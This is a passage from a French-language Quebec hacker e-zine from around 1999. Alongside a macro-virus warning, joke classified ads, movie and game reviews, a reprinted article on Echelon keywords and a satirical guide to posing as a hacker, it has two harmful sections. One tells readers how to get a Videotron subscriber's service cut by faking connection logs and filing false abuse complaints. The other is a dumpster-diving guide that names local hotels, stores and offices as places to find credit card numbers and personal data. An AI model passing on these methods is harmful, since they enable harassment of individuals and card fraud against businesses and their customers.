     virus   est  efficace  contre  win9X,  NT  semble  sur,  mais je ne
     metterais pas ma main au feu dans le cas de Win2k.

     Prelissa  n'a  ete  decouver que il y a 2 jour (17 novembre), et il
     est   encore a l'etat   embryonaire,  il  pourrait   cependant   se
     multiplier rapidement d'ici noel, puisqu'il n'y a encore aucun anti
     virus contre.  Cependant  il  s'emblerais  que  quelque  anti virus
     melissa fonctionnerais contre prelissa, je n'ai malheureusement pas
     pu mettre la main sur la liste de c'est anti virus.
 
     Il se presente sous la forme suivante, ou une quelqu'onque variante

     "This document is very important and you've GOT to read this!!"

     je ne saurais vous  conseillez  d'etre  prudent,  apres  tout, vous
     devez ouvrir le document pour declancher la tourista :]

                                                                                   .
 :                                                                                 ;
 :                                                                                 '   
 ;                                                                Wyzeman          :  
 |                                                                                 :
 |_________________________________________________________________________________| 



    
 ,---------------------------------------------------------------------------------,
 | [017]                                                                           |
 |                                  Info pub                                       | 
 :                                 so called                                       :
 ;                           on commence a le savoir                               :
 ,                                                                                 .
 .        





	    bienvenue encore une fois dans cette rubrique ou il est question de
    tout et de rien ( plus souvent rien que dautre chose ).   ou   vous  pouvez 
    vendre vos cochonerie via notre service de petite annonce, ou   encre  nous
    faire parvenir des text que lon ne saurais ou mettre dautre.  Sachez que ce
    n'est pas un deshonneur de passer dans  les info pub, car si telle etais le
    cas, dans le IGA elle ne serait point. Bien souvent  un  lecteur  averti  y
    trouvera des petits truc et astuce quil naurait  pas  trouver   ailleur. Je 
    vous rappelles que cette section est ouverte a tous.  alors  ne  vous genez 
    pas pour menvoyer des text au Cyberwyze@hotmail.com


    -_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-
                                 boite Vocal
    -_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-


 	    He oui, iga est maintenant rendu avec sa propre boite vocal, vous
    pourrez nous rejoindre au 1-888-835-3268 extention #iga666. Vos messages 
    seront disponible en Wav sur notre site oueb ;


    http://iga.fox.qc.ca/stuff.htm   


    enjoy


    -_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-
                                706 Automobile
    -_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-




	    devinez? Swift noir a vendre, 3 porte ( 2 porte plus coffre du genre
    hatchback ) une  4  essayant  de  se  forger dans laile avant droite. manque 
    souvent dhuile, et muffler quelque peu artisanal. ajout dun catalysateur de
    violence, en effet on doit fesser sur le dash en meme temps que l'on tourne 
    la clef pour le starter. Lien emotif, demande 1000$. 115000km (93). 


    -_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-
                             rubrique nimporte quoi
    -_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-


  	    Replique en simili-bois franc de la pate de lucien bouchard. n'est 
    jamais sorti l'hivers on demande 5$ 

                                                                 Qwzykx
	

	    jeune tortue mecanique A1, tres bonne nageuse, valeur sentimental
    on demande 10$ et un peu deau.

                                                                Doc-Green


	    2 tortue a donner, ca pu et cest laid

                                                                Polchoix


	    4 5 vieux poster de pamela anderson, raison de la vente, ma blonde
    l'aime pas et est elle est passer date. demande 5$
        
                                                                Wyzeman


            jaurais besoin de quek feu (lighter) pcq jen manque tjrs ici.. pas 
    qqn qui  aurais un abonnement a Lighter Inc. pret a payer le gros prix ?

                                                               Doc-Green


	     Cherche une 3-com pas chere pour mon demi frere & cherche un ecran
    14 pouce pas chere pour mon serveur. cherche aussi secretaire benevole pour
    me rappeller de faire mes cheques a qui jdoit du fric avant que jme fasse
    casser les 2 jambes.  
       
                                                                Wyzeman

	                                                      

    -_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-
                                    Cinema
    -_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-


	    Nul doute n'est, la grosse bombe de l'automne est Fight Club. Ceux 
    qui l'ont vu on surement compris pourquoi il etais destiner 18 ans et plus
    et javous que c'est  personnellement  un des seul film que je trouve qu'il 
    merite cette mention.  C'est  p-e  signe que je me fait vieu. mais bon. je 
    crois sincerement qu'on peu facillement se laisser allez au premier niveau 
    de se film et  en  voir  la  fin  comme  l'achevement. Je veux dire par la 
    Anarchie power on fait  sauter  le capitalisme et du coup meme, on vien de 
    perdre   la  vrais  signification  du  film. le 2e degres, ce qui se cache 
    derriere les images. La   description  psychologique  des  personnages  et 
    surtout une vision ironique du monde actuelle. lauteur veux demontrer  que 
    le systeme actuelle manque d'huile et non pas que ce battre avec  tout  le 
    monde c'est kewl. alors les ti mox,  quand vous  allez  louer  le  film en 
    video essayer de vous souvenir de ca.



            Ressuciter les morts: un autre  film  a  sauce  psychologique  (on 
    dirait que cest la mode cette annee) cependant  il manque un petit quelque
    chose qui fait accrocher.  je   crois  sincerement  que   le   realisateur 
    (scorcesee) aurais completement   du   flusher  l'histoire  du  film et ne 
    s'attaquer a la psychologie, il en aurais surement resulter  d'un  classic 
    du genre.  mais  finalement  il  n'en  n'est  sortit  qu'un film moyen qui 
    passera vide a la filliere 13 de vos interet.


	    Celibataire.  bon  un autre film pour votre blonde. elle risque de 
    trouver ca cute. Cependant les 2 coter de la medaille  sont traiter, et je
    dois dire que jai trouver la definition du celibat (etat  avant le mariage
    quil soit ou non accompagner d'une presence feminine)  asser  kewl.  Allez 
    profitez en cher ami. galloper tant que vous voudrez. 


    enjoy
    Wyzeman

    -_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-
                             5k qui en dise long
    -_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-



	    Le terrorisme parrait sous toute les forme, le texte suivant trouver sur
    www.lemonde.fr  vous  prouve  quil  se vie aussi de maniere kewl sur le web sans 
    blesser personne.


    Comment semer la zizanie  Washington, avec un AK-47 et un peu de cocane


 
    Mis  jour le samedi 20 novembre 1999


    Jacques Isnard

    Le professeur Christopher Simpson, de l'American University de New York, pouvait-il 
    se  douter  que  la  National  Security  Agency  (NSA),  la  plus  grande agence de 
    renseignement des Etats-Unis, s'irriterait de ses propos rvlant  quelques-uns des 
    mots-cls grce auxquels le rseau d'espionnage Echelon coute la plante entire ? 
    Ses indiscrtions, en tout cas, ont eu de  redoutables  effets,  qui  expliquent la 
    colre  des  responsables  de  la  NSA,  une  agence fdrale que dirige le gnral 
    Michal  Haydon  depuis  Fort  George Meade, dans le Maryland, et qui emploie 38000 
    personnes  travers le monde,  aux  Etats-Unis,  bien sr, mais aussi au Canada, au 
    Royaume-Uni,  en   Australie  et  en  Nouvelle-Zlande,  pour s'en  tenir aux sites 
    principaux.

    Selon  un  spcialiste  de  l'espionnage,  Jacques Baud,  la NSA contrle une vraie 
     multinationale  du renseignement, baptise  Echelon,   qui  a  fait  clater la 
    notion  traditionnelle  d'coutes  tlphoniques  .  Ce  rseau  peut  intercepter 
    l'ensemble  des  transmissions  et  transferts  de  donnes  (fax,  e-mail,  telex,
    tlphone) qui transitent par le moyen des satellites  de  communication  dans  le 
    monde et dont le contenu est conserv sous  forme  de  bibliothques informatiques.
    Une  cinquantaine   de   puissants  ordinateurs, du  type  Super-Cray,  traitent et 
    analysent en temps  utile  les  informations  ainsi recueillies, en se servant d'un 
    dictionnaire, distribu aux agents d'exploitation  dans  les stations, qui contient 
    des mots-cls permettant  un logiciel  spcial,  dnomm  Oratory, d'aller reprer 
    automatiquement  le  message  intressant  dans  la  galaxie  des    communications 
    interceptes.

    Echelon ramne,  dit-on,  chaque demi-journe, l'quivalent en information de toute 
    la bibliothque du Congrs amricain,  soit 1 000 milliards de bits. Les mots-cls, 
    une  fois  identifis,  servent   slectionner dans les messages l'informatio n de 
    nature diplomatique, conomique,  militaire ou autre, voire prive, qui est c ense 
    intresser  le gouvernement fdral. Le professeur Simpson a livr quelques-uns  de 
    ces mots-cls.  AK-47  (l'autre nom du fusil d'assaut Kalachnikov),  Cocane  , 
      Stinger  (du nom du missile antiarien portable),  TWA 800  (l'identification 
    du  vol  du  Boeing  qui a explos au-dessus de l'Atlantique en 1996),  Militia , 
     Davidian  (le surnom de la secte de Waco en 1993) ou  Vince Foster  (un ami de 
    Bill  Clinton  travaillant    la  Maison  Blanche qui s'est donn la mort en 1993) 
    constituent  autant de mots-cls qui permettent aux ordinateurs de la NSA de gagner 
    du  temps,  ds  qu'ils  sont  dtects dans la traque des messages qui auraient un 
    rapport, par exemple, avec le commerce des armes, le trafic de la drogue, des actes 
    de terrorisme ou avec de mystrieux  proches  de M. Clinton.
 
    Depuis, et c'est ce qui explique la colre de la NSA, ces mots-cls sont repris par 
    des  services  secrets  trangers,  des  chancelleries  ou   par  des  particuliers 
     internautes   qui  en  maillent  systmatiquement leurs communications ou leurs 
    conversations.  Avec  cet  espoir   jubilatoire  de saturer les ordinateurs de la 
    NSA,  de  prendre    son  propre pige tout le rseau amricain d'espionnage et de 
    perturber,  en  les  noyant sous les messages  dcrypter, le travail des analystes 
    attachs    Echelon.  Plus  qu'un  jeu,  sans  doute,  c'est un moyen utilis pour 
    dclencher  inutilement  l'interception,  le tri et l'exploitation du renseignement 
    ainsi  runi.  Nul  ne  doute  que la NSA cherche dj  inventer la parade  cette 
     cyberwar . 




    he, faite comme nous participer a cette "warfare" et aider la communauter a saturer
    les ordis de la NSA :]

    enjoy
    Wyzeman

    -_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-
                               La melodie du haxor
                                   so called 
                            des toillettes silencieuse 
                            ca coute chere en cristie
    -_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-

    Bon, si tu veux etre un vrai trou du cul de hacker, il va te falloir Linux. 
    La, tu as 2 solutions:


    o Tu es un sale bourgeois capitaliste et tu l'achetes 150 balles a la Fnac
    o Tu es un vrai trou du cul, et la tu le download par le Net


    Evidemment, tu es un vrai trou du cul donc tu ouvres ton tit client FTP et tu 
    te tapes tranquillement les 20 ou 25 heures de download pour une Slack ou une 
    Debian. Evite la Red  Hat,  ca  fait   trop   grand  public, toi t'es une mec 
    uNdERgrOuNd maintenant, c'est normal, t'es hacker. Bon,  tu   as  ton  Linux, 
    maintenant c'est bon oublie le. Pas le peine de se casser le cul a  apprendre 
    un nouvel OS  dont  tu  ne  te  servira jamais parce que XWing vs Tie Fighter 
    tourne pas dessus. La meilleur solution  consiste  carrement  a  niquer lilo, 
    comme ca tu es  sur  que tu ne booteras que sous Windows95. C'est un solution 
    lgante que de nombreux  trous du cul semblent avoir choisi. Pour ca, ouvres 
    un session DOS par Windows et tape  fdisk  /mbr. Ca va effacer lilo qui etait 
    install sur le MBR de ton disque dur, comme ca tu  n'auras plus a te soucier 
    de Linux. L'essentiel est de l'avoir, pas de savoir s'en servir. "Ouais  mais 
    comment je peux prouver au gens que j'ai Linux et passer pour un gros rebel ?"
    C'est une question bien naturelle. J'ai pens a toi petit looser et voici une 
    serie de phrase qu'il faut balancer a propos de Linux, aussi bien sur IRC que 
    dans la vrai vie :
 
    - "Linux c'est trop puissant, t'es completement libre par rapport a ces OS de 
    fachos genre Windaube. De toute facon, MS c'est trop ripou."
 
    - "Bah si t'es un debutant, va pas sous Linux, c'est fait pour les eLiTeS  ce 
    truc, toi reste sous winfuck."

    - "Dis, tu sais pas ou je pourrais trouver la libc5.4.36 ? Parce que chez moi 
    la 5.4.35 est incompatible avec les modifs que j'ai fait au kernel."

    - "Ca pue netscape, moi ca me dumpe des core de 10megas  des que le lance, je 
    prefere Lynx au moins c'est pas prise de gueule c'est mieux le mode texte."

    - "Ralala le bouffon  que  c'est  lui !  Il s'est install un Red Hat !! Tain 
    c'est de la daube les Red Hat c'est nul y'a que  la  Debian  qui est bien, au 
    moins tu sais ce que tu fais t'es le master  de ton system nan vraiment c'est 
    ripou Red Hat."

    Avec ce genre de petites phrases, tu te retrouveras tres vite class dans  la 
    categorie "OK c'est un trou du cul,  mais  un trou du cul sous Linux", ce qui 
    est la premiere tape pour etre  un vrai hacker. Maintenant que tout le monde 
    sait que tu as ton Linux, il faut passer au  stade  suivant, celui du pro des 
    reseaux, genre le mec qui maitrise ICMP a mort. C'est la deuxieme  tape   de 
    ton long periple.

    Je ne suis qu'un assoiff de connaissance.
    Ici, il faut mettre la main au porte-monnaie. Direction la FNAC,  tu  achetes 
    n'importe quel  bouquins  sur Unix et sur les reseaux. L'essentiel est que le 
    titre soit compliqu. Un petit  "Protocole  rlogin  sur  reseau  Ethernet  en 
    sous-adressage" sera du meilleur effet. N'hesite pas, des que tu ne comprends 
    meme pas le titre,il faut acheter le bouquin, c'est pas pour lire, c'est pour 
    impressionner des autres potes trous du cul.  Une   bonne  methode consiste a 
    acheter un bouquin genre "TCP/IP volume 43" et de prendre  des mots au hasard 
    a apprendre par coeur : raw socket, sur-adressage, FDDI, telnet par  exemple. 
    Ensuite,  tu  les  resors dans une phrase, meme hors contexte c'est pas grave
    personne n'ira verifier  ce  que  ca  veut  dire.  Par exemple il ne faut pas 
    hesiter a balancer un "Le Telnet,  ca  prends  combien  de  raw  sockets   en 
    sur-adressage sur un FDDI" sur un bon gros channel de cowboyz, ca impresionne 
    toujours, et personne n'ira te dire que ca n'a  aucun sens ne t'inquiete pas.
    Dispose ensuite ces bouquins  dans  ta  chambre, avec  les  titres  les  plus 
    compliqus aux  endroit  les  plus  visibles. Corne quelques pages pour faire 
    plus vrai. Prends aussi quelques  feuilles  et  dessine  des  schema bidon de 
    reseau, ou met des trucs genre 123.44.5.34  root/lydia  pour faire croire que 
    tu te choppes de password comme un ouf. Faut se la jouer  a mort,  ne  jamais 
    hesiter  a  en rajouter,  scanne  toi  une photo de mitnick et accroche la au
    dessus de ton lit, ou met des autocollants  a  tete  de  mort sur ton UC pour 
    bien dire que maintenant, t'es un voyou, un mec dangereux. Pour  completer le 
    tout  et  vraiment  passer  pour un hacker, il ne faut pas hesiter a dire des
    conneries du genre "Je ne suis qu'un  assoife  de  connaissance".   OK,   tu 
    quadruple ta seconde, mais bon c'est pas grave, tu aimes quand meme apprendre, 
    c'est ta grande passion et tu as beaucoup de volont. Precise bien que jamais 
    tu ne causes de degats aux  tres nombreuses machines que tu penetres, dis que 
    tu fais juste ca "pour le challenge  intellectuel".  Oui,  la,  il  faudra te 
    forcer pour ne pas exploser de rire, mais entraine toi devant ta glace avant.

    La communaut des hackers a 1 piace.
    Quand on est  un  mec  dangereux  comme toi,  on doit se runir avec d'autres 
    bandits pourmettre en peril la suret de l'Etat.  Pour ca il existe LE rendez 
    vous de toute la racaille, c'est le Meet 2600. Tous les mois, tu iras dans un 
    MacDo de Qubec, Place d'Iyouville, et la tu rencontrera des grands monsieurs, 
    des mecs qui ont reboot tout Internet avec un prog en  Visual  Basic  et qui 
    ont des coupes de cheveux de rebels de la socit. Bon, tu n'y apprendras pas 
    grand chose, les loosers qui viennent la bas se branlent entre  eux  en    se 
    disant "Ouais, on est des hAcKeRz, on est sans piti, on est des vrais  durs, 
    oh zut  il est deja 18 heures faut que je rentre ma mere va me cogner sinon". 
    Tu pourras quand  meme  avoir  un vrai frisson en t'imaginant que le MacDo et 
    truff de cameras et de micro, et que tous les employs sont des agents de la 
    GRC qui ecoutent des conversation aussi dangereuses que :

    Trouduku1 : il est a combien le Whooper ?
    Trouduku2 : euh MacDo fait des Whoopers maintenant ?
    Trouduku1 : bah ouais ils en ont toujours fait nan ?

    La communaut des hAcKeRz aime bien aussi les raves.  Ca fait  partie du trip 
    "rebel no future  fuck  da society, on gobe des extas on ecoute de la musique 
    de daube mais on s'en fout c'est super parce que  c'est  interdit ". N'hesite 
    pas a te rendre la bas, ca  fait  incontestablement  partie  de la culture du 
    paum que d'aller jouer les chauds dans ces soires.
 
    Putain je suis dans les greets de Hack-Hebdo !! trop foooort !!
    Toi, t'es un vrai trou du cul qui hacke, et  tu  entends  bien  repandre  ton 
    savoir pour former d'autres minables comme toi. Pour ca, il existe les e-zine. 
    On peut citer les plus connus  comme NoWay  ou  NoRoute  ou le pire cotoye le 
    meilleur (et c'est dommage pour le meilleur...)  mais  aussi des vrais merdes 
    qui meriteraient d'etre plus connues, comme l'excellent Core-Dump qui est une 
    veritable farandole de guignolos expliquant des truc archi  connu   dans   un 
    francais que mon chat comprends mieux que moi. Evidemment, tu n'as pas lu les 
    bouquins sur Unix, tu n'as jamais hack la moindre machine de  ta vie donc tu 
    ne sais  pas  quoi  ecrire.  Rassure toi, tu n'es pas le seul dans ce cas. La
    meilleure methode est de pondre un article sur le rap, a raconter sa derniere 
    rave ou a pomper Phrack sans rien comprendre. La encore, si tu pompes Phrack, 
    n'hesite pas a  carrement  corriger le mec ou a rajouter des trucs pour faire 
    plus compliqu, personne n'ira  verifier,  donc  vas  y  lache  toi  t'es  un 
    assoiff de connaissance, oublie pas.

    OUAIS ! Je suis un hacker, un delinquant du telnet
    Maintenant,  c'est  clair,  tu  es  un vrai hacker, une racaille de l'IRC, un 
    loubard d'Internet, tu fais peur a toutes les agences gouvernementales et IBM 
    veut t'embaucher pour securiser leur  reseau  parce que  cette pedale d'Henri 
    leur a encore coll un virus d'Internet. Il va donc falloir, au quotidien, se 
    comporter comme un hacker, un vrai, un dur, c'est a dire  avec   un    esprit 
    hacker et un langage de hacker.Un hacker, ca vit avant tout sur IRC. Une fois 
    que tes amis et ta famille auront bien vu que  tu as chang, que tu n'es plus 
    le meme homme, il va falloir repandre aussi la nouvelle sur  IRC  et te faire 
    des nouveaux amis qui seront comme toi des trous du cul.Fini les #coquelicots 
    ou  les #amiti_fr, maintenant tu devras aller dans les bas fond de l'IRC, le
    cyber-Bronx, nuke-city, la ou seuls les vrais cogneurs reussissent a se faire 
    une place dans  cette  univers  de  violence. Pour ca, tu va devoir passer du 
    stade hacker trou du cul a celui  de  trou  du  cul  sur  IRC  qui se la pete 
    mitnick, a savoir le c0wb0y.





                                                       [-\\'KinZone'//-]



    -_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-
                                  Tuer n'est pas jouer
                                       so called
                                ce mois si dans joystick
    -_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-



    Dans le cadre du cours "jeux 203" il nous fait plaisir, moi (netlord) et
    -=DarkNet=- de vous faire part de nos commentaires sur nos plus rcentes
    dcouvertes en matire de jeux. Je ne vous parlerai pas de tous les
    nouveaux jeux, juste une couple. (faut ben finir un madn)
 

    -Driver-
    Type; "Extreme Racing"
    System requirement; PentiumII 233MHz, Win 95, 32meg ram, Carte 3D 8meg
    Rating; 8/10
    Commentaires; Driver est trs populaire au playstation, la raison est
                  sans-doutes  la   qualit   de   ses  graphiques, assez 
                  impressionnants  pour une machine comme le playstation. 
                  Au PC, les graphiques sont  encore plus pousss. Driver 
                  est biensur un jeux d'char, mais ou l'on doit accomplir 
                  des missions. (un peu comme GTA2)  Le   jeux  peut   se 
                  drouler  dans   4   villes connues,  et  une cinquime 
                  "bonus". Le jeux se droule trs rapidement, la  police 
                  est souvent   notre  cul, et elle est assez agressive; 
                  quand on est vraiment  poursuivi,  on dure pas plus que 
                  deux minutes. Driver est un  exelent   jeux,  mais j'ai 
                  trouv dommage qu'on ne puisse pas aller dans   les   4 
                  villes ds le dbut, et aussi.. y'a pas mal de   police
                  au km hehe.


    -Unreal Tournament-
    Type; "First person shooter | Deathmatch"
    System requirement; Pentium 200 MMX, Win 95, 64 MB RAM, 200 MB HD
    Rating; 8/10
    Commentaires; Unreal Tournament est la suite du populaire jeux UNREAL.
                  Unreal Tournament est reconstruit sur un nouvel "engine",
                  donnant au jeux une toute autre allure. Contrairement 
                  UNREAL, Unreal Tournament n'a pas, sois-disant, un mode 
                  "mission single player" mais plutot un mode "DeathMatch", 
                  "capture the flag", etc.. Touts ces modes sont joueable 
                  seul,  mais  sont  plus  apprcis  en multiplayer. Les 
                  graphiques  du  jeux sont d'une trs bonne qualit, les
                  dcors  biens construits, et le "gameplay" interessant. 
                  Cot que j'ai plus ou  moin  aim  est  l'iralisme  de 
                  cerains   mouvements,  et  la  stupidit  des  bots  en 
                  "capture   the   flag".   Pour   downloader   la  dmo:
                  www.unrealtournament.net


    -GTA2-
    Type; "char/action/mission"
    System requirement; Pentium 200 mmx ,Win 95, 32 MB RAM, 40 MB HD
    Rating; 7/10
    Commentaires; Grand Thief Auto 2 plus connue sous le nom de GTA2, qui 
                  est la suite  du  jeux  GTA,  vidament  :-). Jeux trs 
                  grandement amlior. je parle surtout  des  graphiques, 
                  son  et  mission.  En  rsum pour ceux ou celle qui ne 
                  connaissent pas le principe du jeux, qui d'ailleure est 
                  trs simple. C'est que vous  recevez  des  missions par 
                  des leaders de contrebandes de  toute  sorte,  et  vous
                  devez  effectuer c'est mission que vous devez accomplir 
                  pour reevoir de  l'argent  c'est  comme  une  sorte de 
                  guerre des motards sauf que  dans  ce  cas-si il sont 3 
                  clan. Graphique  asser  bien  raliser  une extremement 
                  grande amlioration a comparer au 1. Pour des videos ou 
                  infos: www.gta2.com


    -Home World-
    Type; "Stratgie/action"
    `System requirement; Pentium II 233 mmx, win 95, 64 MB RAM, 150 MB HD
    Rating ; 9/10
    commentaires; Home World dans le  mme  style que starcraft, warcraft 
                  et j'en passe.

    Wyze said:    (peu etre resumer par l'appelation Warcraft like) 

                  Mais ce qui caractrise le plus c'est que le  jeux  est 
                  en "freespace". Vous jouer dans un espace en profondeur 
                  en hauteur. le premier jeux de sa catgorie
  
   wyze said:    (ya aussi mankind dans le genre, www.mankind.net)
              
                  a avoir ce type "d'espace jouable". Les graphiques sont 
                  d'une trs bonne Qualit.  Jeux qui asser difficile, on 
                  s'adapte asser vite  son  espace  de  jeux.   Il   est 
                  possible de regrouper les units, faire des formations,
                  des "convois" etc..
                  Infos; www.homeworld.net



                                                         Netlord 
                                                            &
                                                       -=DarkNet=-                                                           


    -_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-
                        faut toujours faire passer la faute
                        sur le gars qui parle pas  francais
    -_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-



    J'cris cette article pour prouver la vulnrabilit de service  internet  de 
    videotron qui ce dise les  meilleurs   provider  internet . Si  il  y  a une 
    personne  qui  est  abonner  a  videotron  qui vous nerves, vous verrez ici
    comment lui faire perdre sa connexion .Leur serveur  fait  toujours  un ping 
    pong pour que votre connexion fonctionne.  lorsque vous envoyez plus de ping 
    cela dis  videotron que vous  tes en sur le net donc que vous demander des 
    informations .  Maintenant  si  vous  voulez  enlevez la connexion vous avez 
    seulement  commencer par vous faire un fichier  .log qui va vous servir  de 
    preuve pour  que  mais  que vous appelez videotron pour dire que la personne
    qui vous fais chier que il essaye de se connecter sur vous sans autorisation 
    vous ayez une preuve de ce  que  vous  avancer.  Pour  le  .log  vous   avez 
    simplement a demander a un de vos amis qui se  connecte  sur  vous et prenez 
    l 'exemple du .log de nukenabber  qui  vous donnera le IP de la personne et 
    l'heure qui est venu  donc  maintenant  c  le  temps  de  passer a l'action. 
    Demander  a votre partenaire de faire parler votre cible comme ca il  envoie 
    plus de ping donc videotron va savoir qu'il essaye de  faire  quelque  chose 
    donc quand il parle vous n ' avez qu'a inscrire le  IP  de  votre  cible  et 
    l'heure qui a parler .Aprs avoir fais un .log  avec  une 10 de tentative de 
    connexion de la part de votre cible  contacter  videotron  et  dite leur que 
    leur gentil client a essayer  de  ce  connecter  sur vous et envoyer leur le 
    .log comme preuve pour commencer il va avoir seulement un avertissement mais 
    ensuite faite un autre .log par la suite et envoyer une autre plainte contre 
    la personne .Vue que videotron son trs svre .  Votre cible n'aura plus de 
    connexion avec videotron a moins qui  prouve que ce n'est pas vrai mais avec 
    les preuves que vous  avez  fournis  sa va tre pas mal dure et peux importe 
    ce qui  se passe videotron a la preuve qu'au heure ou le .log dis qui a fais 
    des tentative , la cible envoyer des donner et en recevais  donc votre cible 
    est abattu... videotron va srement lui redonner  sa  connexion mais si vous 
    envoyer un autre .log qui vient de la  mme  personne  votre cible ne pourra 
    plus jamais avoir un account  avec  videotron  et  devra ce trouver un autre 
    provider.  S.V.P  n'utiliser pas cette mthode pour une petite niaiserie car 
    c vraiment chien... cela ne  marche  que pour ceux qui ont un modem cable et 
    donc toujours le mme IP. Et oui maintenant vous savez que videotron son pas
    ci brillant et bon qu'il le dise.
 

                                       
                                                      [-\\'KinZone'//-]

    -_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-
                                    Trash diner
                                    so called
                         ouais javous quelle etais facile
    -_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-


    Trash: Destiner a IG@
    By: PaToFF(PaT-EtHiQ)

    Oui cette technique pour ce procurer des documents informations personnels etc...
    Ouin aller au beau milieu de la nuit dans nos chere poubelle du Qubec.
    Cest ca du Trash pour ceux qui le saurais pas, cest peut-etre pas trop hyginique
    mais peu tres bien etre fort en information, les poubelles du quebec sont encore 
    remplis de D'info cher citoyens meme si Beaucoup disent savoir proteger il reste 
    quand meme beaucoup dendroit oui je lai connais pas tous mais je vais vous en dire 
    quelques une si je me trompe alors veiller me le dire. Je nai pas en ce moment 
    normment dinfo mais ceci debutera une srie de petit article.

    Carding:
    Endroit pour trouver des # de CC

    - Mont-st-Anne: les Hotels , Condos , La camarine (sources sur)
    - Tout grand Magasin et restaurants: Canadien Tires, Sears...etc (pas tous mais 
                                         pas mal)
    - Magasin de Cpu: Visuacom, infoclick Mercier etc... (petit magasin qui vendent des 
                                                          PC, ou autre)

    Info:
    - Poste Canada *
    - Bell*
    - Internet: Videotron* Megacom, Quebectel, TotalNet
    - Poste de TV: TQS, TVA , SRC
    - Bureau Fdral , Bureau davocat...etc *

    *Notes*
    Poste:     tout poste qui est dans ta ville, ils ont souvent des conteneurs proche :)
    Bell:      jai pas les endroit exacte , ca vienderas... a revoir dans autre article
    Videotron: le  sont surement surveiller, a revoir dans autre article
               Bureau davocat(pas les legumes biensur): Est situ proche du marcher a qc
               a coter du            port(grande batisse)

    Endroit recommand:

    Desoler je connais pas les noms de rues. Alors proche de la bifteque ou la SAAQ]
    (permis de conduire) ce sont tous des terrain commercials resto, cie dinfo..etc 
    surement quelque chose a faire a cet endroit.

   (quote frome wyzeman, spa un peu trop a vue ste coin la ?)

    A suivre...

    Commentaire: patoff22@hotmail.com

                                                                                   .
 :                                                                                 ;
 :                                                                                 '   
 ;                                                                I_G_A            :  
 |                                                                                 :
 |_________________________________________________________________________________|      



             C'est enfin la fin. Nous nous donnont donc rendez vous pour la fin du
  millenaire, avec la suite du 3/4 des articles de ce numeros. jespere que le fait
  que nous avons sautez le 13 ne vous meleras pas dans vos comptes..

             Ce ezine est dedier a tout ceux qui croyait que IGA etais fini :]



                    ,--------------,--------------,------------,
                    |              |              |            |
                    |         _____|              |      ______|
                    |              |      |       |            |
                    |              |      |       |        ____|
                    |         _____|              |            |
                    |              |              |            |
                    |______________|______________|____________|                                                              